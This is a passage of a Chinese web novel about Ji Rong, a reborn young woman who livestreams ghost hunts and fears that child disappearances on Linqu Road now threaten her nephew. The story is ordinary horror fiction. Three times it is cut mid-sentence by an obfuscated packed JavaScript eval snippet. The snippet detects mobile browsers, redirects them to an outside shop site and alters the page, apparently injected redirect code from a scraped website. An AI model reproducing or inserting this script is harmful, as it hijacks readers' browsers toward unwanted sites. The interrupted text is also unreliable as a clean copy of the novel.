季融看着她，悄悄在心里说：“去吧，离开这个世界，尘归尘土归土，带着你的执念离开，你也杀过人了，别人又有什么错，放一把火送你走，总好过用鞭炮，吵得你死也不安心。” 黑暗中，倏地一团火焰凭空升起。 在那愤怒的烈焰中，女孩忧愁地望着那对夫妻，然后水份蒸干，身影摇曳，像狂风中的树苗，最后彻底烧成灰，化作世间的浮尘，飘散于天地间。 去吧，大火，驱除邪祟。 与此同时。 一名网友在电脑前浏览着最近的新闻，眼眶唰的一下就红了。 “呜呜呜原来这么可怜。” 这人就是张正阳，自从李进死后，他已经很久没出过门了，每天惶惶度日，生怕下一个死的就是自己。 他一直坚信那个厕所有鬼，可直到今天，他才知道平乐公厕里的女鬼那么惨。 有时候同情亦能驱除恐惧。 他终于愿意拉开窗帘，迎接外面的阳光，然而就在他回头的时候，突然发现自己的座位下那片水洼不见了。 他照了照镜子，只见自己眼青面白的，憔悴不已。 这段时间，他既害怕女鬼上门，也害怕李进来找自己。 可今天他忽然不怕了。 他走进厕所，用抹布擦干净水渍，然后轻轻叹了一口气，“李进死了都要送我回家，又能生出什么害我的心思？我还有什么好怕的，有这样的朋友，我该高兴才是。” 张正阳眼眶泛红。 当天下午，他就去祭拜了李进。 夜深人静的时候，一辆小车缓慢行驶着，有人看见司机浑身是水，脸色惨白，路人是想要打车的，但就在他想把司机喊住的时候，司机脸上忽然露出诡异的笑，冲他摆摆手。 “年轻人，夜路走多了要撞鬼，不要随便什么车都打。” 说完，小车一路开进黑暗，随着冰冷的夜风，烟消云散。 *** 《季融日记》 2008年春2月，我在平乐公厕烧了一把火，邪祟驱除成功。 还有，初次直播成功，赚到了5000块。 富婆姐后来又给我打赏了一辆跑车，谢谢富婆，谢谢跑车，我爱富婆，我爱跑车。 感恩。 “对你爱爱爱不完，我可以天天年年到永远……” 门外，传来季延激情洋溢的歌声，新店开张，季延和乌静梅忙得不行，几乎是脚不点地的，夫妻店没有人打下手，凡是都要亲力亲为。 两口子本来是要问一下季融直播的情况，但要么是见不着季融的人，要么就是自己忙得抽不出时间来。 至于季融，她倒不是忙。 平乐公厕的事情过后，她最近在嘎嘎直播上可火了，粉丝们都喊着要她赶紧开直播。 至于海角论坛，那帖子更是直接被论坛管理员加热。 一些看过直播的网友们纷纷涌入帖子留言，说得那个是神乎其神，什么季融单手打鬼啦，什么女鬼跪下向她求救啦，以讹传讹，一天比一天夸张，看多了季融都觉得自己牛逼大发了。 季融知道自己是什么实力，那可是她送死送来的，稍不小心就会没命。 她最近打算买一台电脑。 下一个直播地点暂时还没有目标，季融时不时就要上网调查哪里有异常，毕竟几十年后会出现的邪祟，不代表08年就出现了，她还得自己去找。 季融之前上网都是去的网吧，要么就是用手机登录网页，很麻烦。 门外，季延越唱越欢，一边准备着明天开店的工作，一边扭着屁股，手左手在那儿转来转去，摆出郭天王的经典动作。 季延是郭天王的粉丝，现在人家都喜欢什么杰伦啊奕迅啊丞琳啊，就他，天天一边忙活一边唱郭天王的歌。 季融叹了口气，耳朵起茧了。 主要五音不全，也难听。 这个念头刚落，外头的歌声戛然而止，季融的日记正好写到下一行，突然，消失的声音再次响起，只不过这次不再是歌声，而是季延化身火爆龙，愤怒且带着颤抖的咆哮。 “季！景！宁！” 嘶啦——！ 季融的笔刚好没水， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882937|191973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手劲过猛，不小心把纸戳破了。 “……” 她真是服了。 “怎么了怎么了怎么了？”乌静梅急急忙忙从厨房里出来，她正在洗菜，乍一听声音，“臭小子干嘛了？放火了还是欺负小朋友被别人家家长找上门了还是到泥巴地里洗澡去了？” 说话间，乌静梅已经熟练地拿起了衣架。 季融也出门瞅了一眼，看见衣架的时候已经在心里为季景宁默哀了，抬眼再看季延，只见季延一个一米八的大高个汉子，这会儿围着摆放在院子里的那张圆桌，左转转右看看，觉得还不够，还要蹲下来看。 季融：？ “哥，你找什么呢？” 季延颤巍巍地转过身，脸色发白，眼眶泛红，然后浑身哆嗦着，扯着嗓子大喊，“季景宁、季景宁这个臭小子！把老子的录音机给拿走了！” 说到最后，声音里那是带了哭腔的。 闻言，季融已经为熊孩子默默在心底敲响了丧钟。 季延有一个小录音机，是他和乌静梅谈恋爱的时候买的，深绿色，但却是金属外壳的，平时被擦得干干净净，在灯光下光泽闪烁，两个小喇叭被染上金色，轰得震天响，带出去开摩托车时可拉风了。 最重要的是，九几年买的东西，到了今天，放磁带进去竟然还丝滑无卡顿。 季延和乌静梅都算是大老粗，平时生活忙碌着也没去看个电影什么的，但闲暇的时候，却会回忆年轻的时候依偎在一起，静静听一首刘天王的《忘情水》。 这哪是一台小录音机啊，这是两口子的定情信物，是季延的心头宝，是他的珍藏是他的回忆。 平时都好好放在柜子里收藏着，上次季延新店开张，兴致上头了，拿出来得意洋洋给一众顾客欣赏，后来就成了店里的镇店之宝。 季景宁这小子，竟然连这种东西都敢偷，怪不得到饭点了都没敢回家。 季融相当赞成季延两口子狠狠给他教训一下，不然孩子学坏了，长歪了就不好。 不过凡事都得先了解一下。 看她哥这样子，一时半会儿是恢复不了理智的，只见乌静梅冲她连连使了几个眼色，季融会意，出门找人去了。 这一带地方不大。 真讲究起来，还算是未来的学区房。 不远处就有两座学校，季景宁就在那边读小学。 由于这边房屋密集，道路算不上宽敞，这时马路上更多人还是习惯踩两轮车，大多数认得路的小孩都是自己步行回家，季景宁也是。 季融开着她的小电驴嘟嘟嘟开往季景宁的小学，一边想着季景宁的事。 说实话，时间太久了，她对这个侄子的了解，已经有太多记忆消散在上辈子的那几十年岁月中。 唯一记得的，就是他十几岁的时候突然失踪，那时候世道已经开始乱了，全家人都出去找，哥哥嫂嫂找得筋疲力尽，找得身心憔悴，可没找到，没听说过他去了哪，也没听说过他做了什么。 臭小子从小就是个混世魔王，小的时候被揍得嗷嗷叫，长大后世界异变，看着父母求生艰难，有时甚至要到别人家跪着讨口饭吃，他有了自己的心事。 少年郎整日背着背包，面容冷酷，性格乖张，像只不亲人的猫，游走在妖妖鬼鬼的黑夜中，神出鬼没。 他与季融亲不亲近呢？ 季融不记得了。 她只记得哥哥嫂嫂找到季景宁那根染血的断指后，自己也狠狠地哭了一场。 季融稀里糊涂地想着，突然，前面跑出来一个人，等她反应过来的时候已经来不及了，季融狠狠捏着刹车，还是撞了上去。 12. 012 对方被撞倒，季融也摔了一跤，索性她开的是龟速，因此谁也没受伤。 但季融还是一骨碌爬起来，连忙去扶人：“对不起对不起，不好意思，你没事吧？刚才开车走神了，千错万错我的错，您快看看您有没有哪里不舒服，咱好医院检查去。” “季融？”对方看起来十分吃惊，“你不认得我？还是，你……真的有那么生我的气？” 季融：？ 抬眼仔细端详对方的模样，这是个年轻男子，约摸二十出头，他穿着黑白格子衬衫，里头一件简单白色短袖，下面则是一条黑色裤子，加上白色板鞋。 看着简简单单，但这却是时下最常见的装扮。 这人皮肤白，脸也长得斯斯文文的，一对丹凤眼显得这人看起来有些冷淡，人家说嘴唇薄的人薄情，他就是。 但此时，他定定地看着季融，抿直了唇线，有点不敢置信，又好似有些受伤。 季融在脑子里掏啊掏，终于从不怎么重要的记忆里掏出一个最近很熟悉的名字。 哦，方奇白。 她的绯闻男友。 “哦，是你啊……”季融顺手拍拍他身上的灰，“好久不见，听说你在学校待得挺好的，这暑假都还没到呢，怎么就回来了？” 听方丽丽得意地讲，方奇白学习成绩优异，深受老师器重，毕业也许会直接留校。 更何况，那所学校就在南城，回家就是一趟公交车的事。 季融就是个大老粗，听听也就算了，不怎么上心。 别说上心了，二十出头的方奇白对现在的她来讲，简直是嫩鸡崽。 不料方奇白却猛地抓住她的手腕，表情极其复杂，“你……其实我……” “你看见季景宁了吗？”季融打断他。 “季景宁？”方奇白猝不及防，一愣，“哦，他啊，我刚才在临曲路那边看见他了，手里提着季延最喜欢的那台录音机。” 那台录音机远近闻名，季延的心肝宝贝，邻里都知道。 季融刚要道谢，就看见方奇白微微蹙眉，低声道：“听我妈说，最近临曲那边有小孩失踪，怀疑是有拐子埋伏上了，你最好让季景宁小心一点，不要到处乱跑。” 说完，兴许是多说了几句话，方奇白觉得那种尴尬化开了，他的眉眼微扬，好像又获得了勇气，猛地走进一步。 “前段时间我是想跟你聊聊的，但你哥一副想要杀掉我的样子，季融，你哥也太凶了，害得我都不敢靠近你，你真的得说说他了。” 季融反而皱起眉：“干嘛，告状啊？” 方奇白愣住，面色憋红，“怎么是告状？你的腿出事，怎么都跟我有关系，我来向你道歉，是应该的。” 季融：“……” 她真是大无语了。 季融动动自己的脚，“看到没？我的腿出事？出什么事了？这不是好好的吗，关你什么事？” 然后她抬起巴掌，狠狠扇掉方奇白握住自己的手，不满地嘟嘟囔囔：“大庭广众动手动脚的。” “可、可是，我妈说……”方奇白的声音渐渐小了。 因为他看见了季融眼里的笑，那种讥诮的、满不在意的笑，方奇白从小跟着方丽丽生活，母子俩相依为命，方丽丽年轻漂亮，跟着他这个拖油瓶，方奇白没少被人指指点点。 他最喜欢季融这种眼神。 这种丝毫不在意他过去的眼神。 可现在，他也最怕这个眼神。 季融不耐烦地挥挥手，“行了，别来攀关系了，你也好意思来告我哥的状，当谁是傻子呢，你妈一天到晚到处嚷嚷坏我名声的时候你怎么不出现？不是让你别靠近我保持距离了吗？你照做了吗？别以为我不知道你喜欢我。” “那又怎么样？喜欢我了不起啊？” “可是我不喜欢你这款啊。” 季融就是这样，对不喜欢的东西有话直说，但最后悔的就是没直接揍他一顿。 方丽丽以前也不是这样的，她爱做面子功夫，又是单身母亲，邻里关系都要好好处，平时也没少跟乌静梅来往。 再往前几年，方丽丽和乌静梅还处过一段时间好朋友呢。 两家人走得近，就莫名成了青梅竹马。 方奇白时常上门，今天送点这个，明天送点那个，季融全都没收，可这事都看在方丽丽眼里，那就是少男少女情窦初开。 方丽丽哪里能忍受自己儿子跟这么一户人家的女儿在一起？ 她儿子品学兼优，那从小就是优等生啊。 于是就跑到季家大骂，说什么季融勾引她儿子啦，季融配不上她儿子啦，至于方奇白？被他妈吓傻了，愣愣站在后面。 乌静梅哪里受得了别人这么说自家妹子啊，冲上去就跟她干架。 这事本来就该这么完了。 方奇白还是天天来找季融，有时候红着眼睛委屈巴巴的，有时候强颜欢笑，总之好像没头没脑，固执得不行。 偶尔季融心情好给几个好脸色，这落在别人眼里，那就成女孩子家家别扭害羞什么的，这年头就是这样。 季融那会儿还在上学呢，她是工科生，虽然是个学渣，可也是认认真真学了的，哪有那么多鸟空，解释几次说不通之后，索性不搭理了。 方奇白还每天痴痴地过来。 最后连带着讨厌方家一切的季延和乌静梅都被催眠了，以为他俩真谈上了，就是小妹性子太独了。 可独点儿好啊，男人有什么好的？ 反正季融对这个方奇白，真是服了。 “咱两又没什么关系，你找着对象那真是欢天喜地的事啊，行了行了，别挡道，别纠缠，像个男人，行不行？” 季融用力拍拍方奇白，见他真没什么事之后，才赶紧骑着自己的小电驴，急冲冲往临曲路的方向开去。 身后，方奇白看着她渐行渐远的背影，眼眶通红。 季融才不搭理他。 喜欢她的人可多了，哪里轮得到他啊。 然而一上车，季融脸色就变了。 “临曲路、小孩失踪……” 季融在听见这件事的时候，心脏就漏掉一拍。 风呼呼吹，灌得季融头晕脑胀。 她以为自己在做梦，神志不清了，否则怎么会遇见方奇白，又听见这个事？ 太离奇了。 临曲路、孩子失踪。 季融在心里一遍遍念着这两个信息，心沉到了谷底。 这地方她不会忘记的。 季景宁那截染血的手指被找到的时候，就是出现在那里。 而在他失踪之前，临曲路已经出现了邪祟，无数孩子在那里失踪，可无论家长怎么找，怎么哭喊，始终找不到他们的踪影。 等到孩子被发现的时候，身上只剩下一小截，可能是一截脚趾、可能是半颗头颅、亦有可能是一条手臂…… 伤口狰狞，血肉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882938|191973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 模糊，像是被撕裂的，被野狗啃咬的，触目惊心。 十几岁的季景宁已经长成一个乖张孤僻的少年，整日神出鬼没，他总是失踪，开始，所有人以为他就是像平常一样，像猫，不知道去了哪里。 然后某一天起，就再也找不见他了。 在这之前，季家哪怕过得再苦也是幸福的，直到那一天，一切都变了。 “难道时间线提前了？” “因为我吗？因为我重生了吗？因为我回来了吗？是我的错吗？” “还是说，那个邪祟，其实这个时候就已经存在了？” “以前明明没有听说过啊……” 季融的小电驴开得飞快，横冲直撞，像她的心脏，也在胸口里横冲直撞。 她思绪纷乱繁杂，霎时间想到很多。 直到、直到她在不远处，看到了季景宁。 季家都是大高个。 季景宁小小年纪，个子就比同龄的孩子要高。 他和季景慧都继承了乌静梅的美貌，精致漂亮的脸，但季景宁从小就是个混世魔王，走路吊儿郎当的，还哼着歌，得意地翘起唇角，在傍晚的灯光下像一只惬意的猫。 远远的，季融就看见他提着季延那台宝贝疙瘩绿色拉风的小录音机，摇摇晃晃地走着，时不时虚空摆几个莫名其妙的pose，很奇葩，很引人注目。 显眼包。 季融骂了一句，她觉得自己被这家伙给吓惨了，于是停下小电驴走过去，趁他不留神，一把拧住他的耳朵，冷笑：“好啊你，知道现在是什么天不？这么晚不回家，你想要你爸妈急死？还有，小小年纪学会偷东西了是吧？证据确凿，你还想怎么抵赖！” 她鬼似的冒出来，季景宁吓了一大跳，惨叫一声，痛得一阵乱嚎。 “什么偷东西啊！我那是借！我跟我爸说了的！我还在他房间里留了一张纸条！他没看见那能怪我吗！” “再说了，我不允许你叫它录音机，那是我爸那个土老帽的说法，这是高达！高达！高达！” “我是带着我的高达来跟我的小伙伴玩的！” 近几年国家引入了不少动漫，有些甚至直接在电视台就能看到，《高达》 “小伙伴？”季融皱眉，但真讲究起来也没太大问题，季景宁就在临曲小学。 很多孩子都是自己放学，偶尔家长放心的，没空管的，还会让孩子去别人家串个门。 但季融仍然觉得这地方怎么都透着一股不详的气息。 她把季景宁提溜上车，“回家。” 临曲路这一带居民楼特别多，小路繁杂，如同蛛网在楼与楼之间穿过，季景宁就是从一条小巷里走出来的。 这条巷子刚好夹在两片自建楼群的背面，高高的建筑挡住了阳光，中间堆满黑色垃圾袋，被居民们用来放置垃圾。 临走前，季融忍不住回头看了一眼。 夜幕降临，巷子里头也没有光，只有两端的尽头，分别伫立着一盏昏黄黯淡的路灯。 蚊虫在灯下飞舞。 就在这时，季融突然留意到，巷子的另一端竟然立着一座复古小洋楼。 它幽幽地蹲伏在那里，仿佛深渊巨兽。 红色的屋檐之下，放眼望去黑魆魆的一片，只有微弱的月光，诡异地照亮了那几扇绿色格子窗。 季融没有再看，然而就在她准备离开的瞬间，其中一扇窗户后面，迅速闪过一个红色的影子。 13. 013 结果还真在季延房间里找到了季景宁写给他的纸条，望着鬼画符似的字，季延和乌静梅面面相觑，最终还是没有开始混合双打。 “老爸： lu音机披我借走了，wan点回来。 季景宁。” 两口子看了又看，沉默了。 季融也沉默了。 季景宁今年已经小学五年级了，再过没多久就该上六年级。 过了好一阵子，才听见乌静梅颤着声说：“儿子啊，你这字，能学好点不？” “还有，这个被字，被子的被啊，你怎么给写成披了？”季延痛心疾首。 今天晚上吃凉拌鸡、狼牙土豆、麻婆豆腐、红烧猪蹄……季景宁上了一天学，学校食堂的菜都快给他吃蔫巴了，这下危机接触，听老妈的话老老实实洗了手，哗啦一下坐到凳子上，埋头一顿狂吃。 听见自家父母的话，含糊不清地抬头应了一句：“什么披啊？那不是被子吗？我记得是提手旁的，我没记错，老师教的。” 季景宁的老师有苦说不出，两口子四目相对，无语凝噎。 季融快吃饱了，闻言，长长叹了口气，相当感慨。 “咱们这一家子，难道就出不了一个文化人吗？” 有没有文化人不知道，反正季延和乌静梅是趁早死了望子成龙的心。 乌静梅不甘心，吃完饭咬咬牙摁着季景宁盯着他写完了作业，又罚他抄写了100遍借条的正确写法，一个字都不准错。 季融听着门外季景宁嘟嘟囔囔的抱怨，回了房间，心里那股不安又重新提起来了。 临曲路。 小孩失踪事件。 她反反复复地想着，然后打开了自己的企鹅号，点开和孔芳华的聊天窗。 孔芳华是南城当地人，做的当地人的直播，主攻一些当地八卦啊、美食啊、事故啊之类的，总之乱七八糟，主打的就是一个亲民友好接地气。 【2050年末日守护者：芳华哥，你知道临曲路那边是怎么回事吗？】 孔芳华刚做完一场直播回来。 最近南城区这边出了一家黑店，先是低价叫卖，也不告诉你到底是五六块钱一斤呢还是五六块钱一块呢，等到结账的时候突然狮子大开口，说这个算的是一厘米七八块钱！ 买家一听，现在大伙儿的工资才两千块，你这杀猪呢！ 不愿意买？ 那没事，卖家身后立即蹦出几个大高个，将你围得严严实实，说你都打包了，必须得买，不然这个不能二次销售。 总之，买也得买，不买也得买。 孔芳华去那家黑点偷偷拍着视频，差点没被揍个半死，好不容易才死里逃生，一回来就收到了季融的信息。 他对季融这女孩也很有好感。 季融的直播他也看了，看得那是紧张刺激，义愤填胸，最最最重要的是，算他脸皮厚，季融妹妹可是他带出来的！ “嘿嘿。”孔芳华暗乐了一会儿，然后才回复。 【叫我大帅哥：妹妹，第二场直播啥时候啊？你不知道，之前我喊我那些粉丝去你直播间看，现在他们都催死我了，知道咱两认识，让我赶紧叫你开直播！刺激！实在是太刺激了！】 【叫我大帅哥：不过你那些到底是不是真的呀？这世界上真的有鬼吗？我跟你说，开始我怕得不行，结果看着看着，反倒生气可怜起来，你说怎么会有那孩子那么可怜的呀。】 【叫我大帅哥：如果是真的，太危险了，你得注意安全知道不？哥每次都会看你直播，第一时间注意你的安全，出事一定帮你报警。】 【叫我大帅哥：嘿嘿，不好意思不好意思，不小心说多了。】 【叫我大帅哥：你问的那个地方啊，最近确实出事了。你家要是有小孩，最近少让他过去，那边丢了好几个小孩，现在都还没找到呢，反正现在啊，怀疑是被拐子拐走了，那些拐子多坏啊，现在丢了这么多天，估计啊，凶多吉少了，家长正天天哭天天找呢。】 孔芳华就是个大话痨，一张嘴就巴拉巴拉个不停。 受他影响，季融打字都轻快了许多。 【2050年末日守护者：那些孩子里面，有没有叫卢嘉许、王小雪、张泓羽……的？】 季融循着自己的记忆，艰难地找出后来那些失踪的孩子名字，心里却想着，不可能，一定是自己太敏感了，那些孩子都要一几年才失踪呢，他们好好活到了十几岁的。 像季景宁一样。 然而那边却沉默了。 片刻，孔芳华回了个惊恐的表情。 【叫我大帅哥：你怎么知道？你说的这些孩子里面，有些是失踪了，有些还好端端的，妹子，你问这个是什么意思？】 咔嗒。 季融合上屏幕，直播用的是另一台，她自己私底下用的，是翻盖手机。 她用力捏住手机，好半晌，才不得不承认一件事。 一几年才失踪的孩子们，提前出事。 时间线，提前了。 但好在，还有许多人没有遭殃。 *** 晚上8:00，海角论坛。 #最恐怖的经历，最真实的灵异，我是季融，如果我消失，请为我报警# 距离季融上次直播已经过去了一段时间，热度消散，帖子也慢慢沉了下去，只有偶尔会冒出来一次，被没有看过直播的人嘲讽几句，又重新消失。 季融除了直播以外，从来不会再这个论坛留言，就在所有人以为，“你好厉鬼”这个直播间会像她的帖子一样，冒了个热泡就消失时，帖子再度被顶起来。 没过多久，冷冰冰的帖子就被管理员加热了。 季融在海角论坛的ID也叫“2050年末日守护者”，有很多人问她这个名字是什么意思，无奈季融在互联网上表现得实在是太高冷，他们就算是好奇得抓心挠肺，那也没办法。 这一次，“2050年末日守护者”和之前的风格一样，只是冷冷地发了时间和链接，就再也没有回复。 开始，“怪谈鬼话”这个板块的网友们只是习惯性有什么新帖子都随便点点，还有一些没见过的，见着“报警”两个字，以为又是什么骗子大戏，怒气冲冲准备进去骂一通。 然后他们意识到不对劲了。 【41度高温我真的会绝晶：等等？！什么，这是真贴主啊，呜呜呜，我的姐，你终于出现了，你知道我等了多久吗，花儿都谢了！】 【欧巴撒浪嘿：银家都快等不及了，融融冲呀！】 【富婆重金求子：开播我就给你投跑车，量大管饱，老娘有的是钱。】 【富婆看看我：呜呜呜我也可以我也可以，姐姐，我是你最衷心的小狗狗啊！】 【我晕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882939|191973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：前面的你真是够了，这贴主是谁啊？看你们激动的，末日守护者是什么东西？我还迪迦奥特曼呢！】 【瓶瓶罐罐：迪迦？你相信光吗，什么玩意儿，你们真信这世界上有阿飘啊？】 晚上9:21。 季融整理东西，把一些能想到的道具都收拾进自己的大背包里，这个时候，季景宁还在苦哈哈地背书。 季延端着一碗猪脑汤在旁边，“多吃点猪脑汤，吃什么补什么，可好使了。” 季景宁：“……老爸，不是我说，这根源还得在你身上啊，咱们都没有的东西，要怎么补啊？” 季延：“……嘿呀你小子！讨打！” 父子俩闹了一通，乌静梅在房间里美美敷着面膜，季融熄了灯，把背包放在一旁，准备先睡个觉补眠。 晚上10:30。 季融迷迷糊糊似乎听到院子大门嘎吱响了一声，好像有人出去了，她困得要死，闹铃没响，枕头往脑子上一罩，继续睡觉。 凌晨00:00。 闹铃响了，季融睡饱了。 她精神抖擞地坐起来，一张白皙漂亮的脸在月亮的照耀下似乎亮得发光，出门的时候，季融留意到大门竟然没从里面反锁。 “咦，哥忘记锁门了？” 那两口子明天还要早起开店，一个两个的，早早就睡了，在屋里打着呼噜，此起彼伏，穿透墙壁，震天响。 季融听了一会儿，由衷佩服季景宁，“在两个大音响中间睡觉，谁敢说他以后办不成事呢？” 他们家大门外放着两个小碗。 一个小碗盛水，一个小碗盛饭，季家的饭菜好吃，香得远近闻名。 时不时就有外面的野猫偷偷跑进来，加上他们家的院子有老鼠，乌静梅索性冬天在门口搭个小小的棚子，再摆放一些吃的。 有时候是季融放，有时候是季景宁，有时候是乌静梅，有时候又是季延，反正一家四口，都是猫猫好朋友。 但最近明显感觉水和饭的消耗程度变低了。 “难道它们另外找到了饲主？” 临曲路不远，但大晚上的，季融懒得走路，还是骑上了她最心爱的小电驴，想着那些“移情别恋”的小猫，嘟嘟嘟就开了出去。 南城的人其实睡得不会那么早，夜市街那边更是热闹，大排档你挨着我我挨着你，一张张矮桌木凳放在空地上，还能听见年轻人说笑，和酒鬼们猜拳吹牛的声音。 过了夜市街就是临曲路。 临曲这一带是老城区了，都是居民楼偏多，本地人的房，或出租或自己住，一栋栋都起得高高的，五层六层七层八层。 今晚是弯月，云雾当空，光线略显黯淡。 好些房子外头是不怎么装修的，裸露出灰色的水泥皮或红色砖块，阳台用铁丝网封住，里面是五颜六色的衣服，电线杆随处可见，黑色的线路在几米高的地方拧成厚厚的一扎。 不过这一带并不大。 开小电驴几分钟就能逛完。 季融用支架架着手机，开车在各种巷道里面穿梭，然后才打开直播：“大家好，我是季融，这里是我的直播间，朋友们好久不见咯。” 直播间外，早就有一伙人蹲着了，一见开播，立马疯似的涌进来，结果一看这情况，傻眼了。 【不是，主播，大晚上的，你载我们开电动车兜风呢？！】 14. 014 几乎在短短几分钟的时间内，【你好厉鬼】直播间的人数就以极其恐怖的幅度疯狂上升。 08年的直播行业根本没有后面来得那么热闹，直播软件并不成熟，网友们看直播，大多数还是通过一台台略显粗重的电脑显示器，当然，那种“大方块”濒临淘汰，但并没有绝迹。 同时，这也意味着，一把把黑色的“双飞燕”键盘前，无数个人熬夜蹲守。 【熬夜使我上进：我靠，终于开始了终于开始了，这比追连续剧还紧张！】 【南宫雪雪：呜呜呜主播主播，我是你的新粉，为了你我可是连欧巴的电视都不看了。】 【静待花开：你好厉鬼？有没搞错啊，本来想趁老婆睡觉和企鹅上的美眉打打视频的，企鹅首页怎么给我推这个，瘆人，遛了。】 【甜甜蜜蜜就是我：我是你老婆，出轨是吧？小心你的金针菇。】 【狂拽酷少：主播这是在哪啊，绕得我快头晕了，噫，看起来好村啊。】 【我和笨蛋比命长：酷少哪里的高贵品种啊，没见过老城区啊？】 【试试如意恭喜发财：什么鬼，看你们吹得，把这个直播间说得神乎其神，什么主播手撕厉鬼，现在看，不就是个小妹妹，快点回家吧。】 【富婆重金求子打赏主播跑车X1】 【富婆重金求子打赏主播跑车X1】 【富婆重金求子：主播加油，先给你上点开胃菜。】 【富婆看看我：羡慕嫉妒恨了。】 一开始就赚了两千块钱，季融口罩下的脸都要笑开花了，干直播好，干直播赚钱，不枉她辛辛苦苦卖命，就算死了都能攒一副上好的棺材。 “谢谢富婆姐，今晚我会努力哒。” 富婆姐也不爱说话，打完钱留下一个高冷的“嗯”字就不再吭声，季融感动得眼眶红红，在心里呐喊，爱富婆爱富婆爱富婆！ 就在这时，季融忽然听见一些窸窸窣窣的声响，这声音在寂静的老城区里显得格外刺耳。 好像有许多个塑料袋相互摩擦，挣扎着挣扎着，有什么东西就要冒出来。 季融停了车，“那边好像有什么东西。” 她循着声音的方向找过去，越来越近，越来越近，然后突然一下，声音消失了。 本就黯淡的路灯骤然闪烁一下，发出噗嗤的声音。 幸好还没坏，就是又暗了几个度，两边的墙壁发灰发青，像两张死人的脸，阴沉沉地注视着季融。 季融脚步猛地一顿。 她记得这个地方！ 这条巷子又黑又长，只有尽头的两侧才有路灯，中间是两排房屋的背面，隔绝了所有人气，好像被正常世界所排斥，形成了另一个封闭的黑暗空间。 是傍晚时发现季景宁的那条巷子。 “这里……”季融下意识压低了声音，好像在大声点就会惊动这里的‘东西’。 “我们进去看一下吧，你们有听见吗？那些怪声似乎就是从里面传来的，窸窸窣窣窸窸窣窣……我总感觉，这条巷子好像是活的。” 季融鸡皮疙瘩都起来了。 路灯恰好照在她头顶，明明是那么暗的光线，她却觉得自己正暴露在诡异的亮光下，除了自己以外，周围都是黑的。 黑暗里那些声音短暂地停顿之后，又重新响起来。 她感觉自己正在被所有“人”注视，黑暗中似乎有一张张看不见的脸，一个个看不见的鬼影，正幽幽向她靠近，目不转睛地注视着这个暴露在光线下的“外来者”。 这个时候，反而是黑暗更让她安心。 季融犹豫了一下，从大背包里拽出来一个松松垮垮的青蛙头套，然后给自己戴上，接着才拿起手电筒，慢慢地走进了巷子。 灯光照去很远，她用手电筒到处照一下，空气里漂浮着一股道不清说不明的味道，很臭。 她用手机录下手电筒照到的地方，说：“这里真的很臭，隔着头套也能闻到，不过也不奇怪，附近的居民楼多又杂，每天生产垃圾，都来不及清理。” “后来为了省掉麻烦，所以他们都会把垃圾丢在这里，集中处理。” “据说，这里聚集了临曲路最多的垃圾。” “不过也不算完全没有公德心，你们看，这些垃圾都是用一个个巨大的黑色塑料袋包装起来，左右两侧参差不齐的摆放，毕竟又大又小，哇，你们看这个，有够大的，竟然像半个人那么高。” “还有这个，这是什么？去哪里弄来的袋子，竟然这么大，里面装的居然是一张黑色皮沙发，裂了好大一条口子，里面的棉都翻出来了。” “咦，这个这个，竟然还有一个没有手臂的大毛熊玩偶。” 再怎么整理，还是会有一些垃圾超出塑料袋的负荷，艰难地从里面蹦探出半个头来。 季融用手电筒这边照照那边照照，偶尔能看见几只胆大包天的灰色大老鼠，见了她也不躲，看了她一眼，有贪婪地啃噬着垃圾里的美味。 吱吱—— 突然听见格外吵闹的声音，好像有老鼠在打架，季融下意识把手电筒的光束照过去，突然，她的猛地一哆嗦，声音卡在嗓子里，差点尖叫出声。 两个相叠的垃圾袋中间，竟然陡然冒出一颗毫无血色，近乎发紫的，小男孩的头颅，正倒垂着，黑魆魆的两颗眼珠子正自下往上地盯住季融！ 可定眼一看，那里根本就什么都没有！ 窸窸窣窣、窸窸窣窣…… 老鼠四处逃窜着。 “是我的错觉吗？刚才好像看见了一颗人头，我过去看看。” 网友们一听她这话，差点没被吓得魂飞魄散。 【绿啊绿的就习惯了：不是，主播你是真不要命啊？！别去别去别去啊！这里一看就晦气！特别晦气！】 【狂拽酷少：……虽然但是，主播，好像不是你的错觉，我也看见了。】 【初音未来二号：我、我也看见了……卧槽，我好怕啊啊啊！】 【路飞没更新：也就是说，咱们看的都不是错觉吧？我的老天，居然是真的？……救命我不行了。】 【胖乐高：而且它不见了不见了不见了啊啊啊啊！】 【麦香牛奶：哎，你们没听见吗？好像有声音，很小，很轻……是脚步声？天呐，我听见了，主播后面有脚步声！】 季融原先还没有留意到，在看到“麦香牛奶”的评论后，没有人知道，青蛙头套底下那张脸，此时冷汗涔涔，脸色煞白。 汗水沿着她的额头滑落，顺着脸颊，滴答…… 一颗汗珠从下颚落下，沾湿了衣领。 